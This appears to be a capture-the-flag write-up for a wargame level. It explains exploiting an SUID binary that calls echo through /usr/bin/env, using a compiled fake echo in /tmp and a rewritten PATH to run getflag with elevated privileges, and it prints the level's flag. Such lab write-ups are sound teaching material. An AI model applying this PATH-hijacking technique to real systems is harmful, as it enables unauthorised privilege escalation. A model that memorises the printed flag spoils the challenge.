Skip to content

README.md

Latest commit

 

History

History
169 lines (107 loc) · 6.04 KB

README.md

File metadata and controls

169 lines (107 loc) · 6.04 KB

Level03 Writeup

Overview

Level03 introduces privilege escalation through PATH environment variable manipulation. This challenge demonstrates how SUID binaries that use relative paths instead of absolute paths can be exploited to gain elevated privileges. The level emphasizes understanding special file permissions, environment variables, and how Unix systems search for executables.

Step 1: Discovering the Binary

As with every level, I started by examining the home directory to identify any useful files or clues:

ls -la

The output revealed several files:

-r-x------ 1 level03 level03  220 Apr  3  2012 .bash_logout*
-r-x------ 1 level03 level03 3518 Aug 30  2015 .bashrc*
-rwsr-sr-x 1 flag03  level03 8627 Mar  5  2016 level03*
-r-x------ 1 level03 level03  675 Apr  3  2012 .profile*

The file level03 immediately stood out due to its unusual permissions: -rwsr-sr-x. The presence of the s character in both the owner and group permission sections indicated that this was a SUID and SGID binary.

I executed the binary to see what it did:

./level03

The output was simply: Exploit me

Step 2: Understanding SUID and SGID

Before proceeding, it's important to understand what the special permissions on this file mean. The s in the file permissions represents the SUID (Set User ID) and SGID (Set Group ID) bits, which allow users to run an executable with the permissions of the file owner or group, rather than their own permissions.

In this case:

  • The file is owned by flag03
  • When I (as level03) execute this file, it runs with flag03's permissions
  • This is a common mechanism for allowing users to perform specific privileged tasks

Step 3: Analyzing the Binary

To understand what the binary was doing internally, I used the strings command to extract readable text from the executable:

strings level03

Among the output, I found a critical line:

/usr/bin/env echo Exploit me

This revealed that the program was calling echo through /usr/bin/env rather than using an absolute path like /bin/echo. This is a significant security vulnerability.

The /usr/bin/env command is used to run programs in a modified environment. When a program is executed through env without an absolute path, the system searches for the executable in the directories listed in the PATH environment variable, checking each directory in order until it finds a match.

Step 4: Understanding the Vulnerability

The vulnerability in this binary stems from its use of relative paths. When the program calls:

system("/usr/bin/env echo Exploit me");

The /usr/bin/env searches for echo in the directories listed in the PATH environment variable sequentially, and if an attacker places a malicious program named echo in a directory that appears earlier in PATH, that malicious version will be executed instead of the legitimate one.

This is known as PATH hijacking or PATH interception, and it's a common privilege escalation technique.

Step 5: Crafting the Exploit

To exploit this vulnerability, I needed to create a fake echo program that would execute getflag instead of the normal echo functionality. I chose to work in the /tmp directory since I had write permissions there.

First, I created the exploit code in C:

#include <stdlib.h>

int	main()
{
	system("/bin/getflag");
	return 0;
}

This simple program calls getflag using its absolute path to ensure we're executing the correct binary.

Next, I compiled it with a specific name:

cd /tmp
cc -o echo exploit.c

The key here is naming the compiled binary echo instead of something like exploit or a.out. This ensures that when /usr/bin/env searches for echo, it will find our malicious version.

Step 6: Manipulating the PATH Variable

The PATH environment variable determines where the system looks for executables and in what order. I checked the current PATH:

echo $PATH

The output showed:

PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games

To ensure my fake echo binary would be found, I needed to modify the PATH variable to include /tmp. I did this with:

export PATH=/tmp

Now when any program searches for echo, it will check /tmp, find our malicious binary, and execute it.

Step 7: Executing the Exploit

With everything in place, I returned to the home directory and executed the vulnerable binary:

cd ~
./level03

Here's what happened behind the scenes:

  1. The level03 binary executed with flag03's SUID privileges
  2. It called system("/usr/bin/env echo Exploit me")
  3. /usr/bin/env searched for echo in the PATH directories
  4. It found /tmp/echo
  5. Our fake echo executed with flag03's privileges
  6. Our program called /bin/getflag
  7. getflag returned the password for level04

The flag was successfully retrieved: qi0maab88jeaj46qoumi7maus

Conclusion

Level03 provided an excellent introduction to privilege escalation through environment variable manipulation. This challenge demonstrated several critical security concepts that are fundamental to understanding Unix-like system security.

The vulnerability in this level exists because the program uses a relative path (echo) instead of an absolute path (/bin/echo). When SUID/SGID binaries make calls to programs using relative paths instead of absolute paths, attackers can hijack these calls by manipulating the PATH environment variable to make the binary execute a program controlled by the attacker. This is a common mistake in system programming and has been exploited in real-world scenarios for decades.

The SUID mechanism itself is not inherently insecure, it's a necessary feature that allows specific programs to perform privileged operations. However, developers must design and implement SUID programs carefully to avoid security vulnerabilities, including ensuring proper input validation and using absolute paths for all system calls.

Flag: qi0maab88jeaj46qoumi7maus

Next Level: Level04